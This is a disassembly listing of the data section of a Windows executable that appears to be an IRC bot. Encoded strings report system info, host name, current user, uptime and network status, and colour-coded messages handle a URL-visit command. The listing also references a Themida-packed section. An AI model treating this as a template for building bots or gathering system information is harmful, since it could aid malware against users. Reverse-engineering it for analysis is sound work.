		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43F9C4	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
dword_43F9F0	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43FA34	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43FA38	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43FA3C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43FA44	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43FA54	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43FA84	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43FAB0	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43FACC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43FB08	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43FB24	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43FB30	dd 6021BF68h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43FB40	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43FB4C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43FB58	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43FB5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43FB70	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43FB74	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43FB80	dd offset off_43FB80	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43FB84	dd offset off_43FB80	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43FB98
		dd offset dword_43FB98
dword_43FB90	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43FB98	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043FB88o
					; ___:0043FB8Co
off_441BA0	dd offset off_43FB80	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_441BA4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_441BA8	dd offset word_441BB2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_441BAC	dd offset word_441BB2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_441BB2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_441BA8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_441DB4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_441DB8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_441DC0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_441DC4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_441DC8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_441DD0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_441DD4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_441DE0	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_441EC0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_441EC4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_442028	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_442030	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_442038	dd 14h			; DATA XREF: sub_421624+2o
off_44203C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 431B88h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_442110	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_442120	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_442138	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_442144	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_442150	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_442154	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_442158	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_44215C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_442160	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_442164	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_442174	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_442178	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_44217C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4421F0	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_4421F4	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_4421F8	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_4421FC	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_442200	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_442208	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_44220C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43910Ch
		dd 0FFh, 427960h
off_442298	dd offset dword_4E0E60	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4E0E60
		dd 101h
dword_4422A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_4422B8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4422D8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_442308	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_442518	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_442520	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_442528	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_442540	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_442558	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_44255C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_442560	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_442564	dd offset dword_545350	; DATA XREF: ___:off_4425E4o
		dd 0Fh dup(0)
off_4425A4	dd offset dword_544450	; DATA XREF: ___:off_4425E8o
		dd 0Fh dup(0)
off_4425E4	dd offset off_442564	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_4425E8	dd offset off_4425A4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_4425F0	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_4425F4	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_4425F8	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_442600	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_442604	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_442608	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_44260C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_44263C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_442640	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_442678	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4427D8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_442934	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_44294C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_44296C	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_44298C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_4429B0	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_4429D0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_4429D8	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_4429E0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_4429F8	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_443560	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_443760	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_443764	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_443768	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_44376C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_443770	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_443774	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_443778	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_44377C	dd 7F5h	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00439054o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0043D338o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43DD90o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43DBFCo
		dd 67F3h dup(0)
		db 2 dup(0)
word_4CF216	dw 0			; DATA XREF: Themida_:loc_5653B8o
		dd 4D2h	dup(0)
dword_4D0560	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4D0564	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4D0568	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4D056C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4D05EC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4D062C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4D06BC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4D06C0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4D06D0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4D06D4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4D06D8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4D06DC	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4D06E0	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4D06E4	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4D06E8	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4D06EC	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4D06F0	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4D06F4	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4D06F8	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4D06FC	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4D0700	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4D0704	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4D0708	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4D070C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4D0710	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4D0714	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4D0718	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4D071C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4D0720	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4D0724	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4D0728	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4D072C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4D0730	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4D0734	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4D0738	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4D073C	dd 0			; DATA XREF: sub_409B12+934w
dword_4D0740	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4D0744	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4D0748	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4D074C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4D0750	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4D0754	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4D0758	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4D075C	dd 0			; DATA XREF: sub_409B12+B50w
dword_4D0760	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4D0764	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4D0768	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4D076C	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4D0770	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4D0774	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4D0778	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4D077C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4D0780	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4D0784	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4D0788	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4D078C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4D0790	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4D0794	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4D0798	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4D079C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4D07A0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4D07A4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4D07A8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4D07AC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4D07B0	dd 0			; DATA XREF: sub_409B12+C28w
dword_4D07B4	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4D07B8	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4D07BC	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4D07C0	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4D07C4	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4D07C8	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4D07CC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4D07D0	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4D07D4	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4D07D8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4D07DC	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4D07E0	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4D07E4	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4D07E8	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4D07EC	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4D07F0	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4D07F4	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4D07F8	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4D07FC	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4D0800	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4D0804	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4D0808	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4D080C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4D0810	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4D0814	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4D0818	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4D081C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4D0820	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4D0824	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4D0828	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4D082C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4D0830	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4D0834	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4D0838	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4D083C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4D0840	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4D0844	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4D0848	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4D084C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4D0850	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4D0854	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4D0858	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
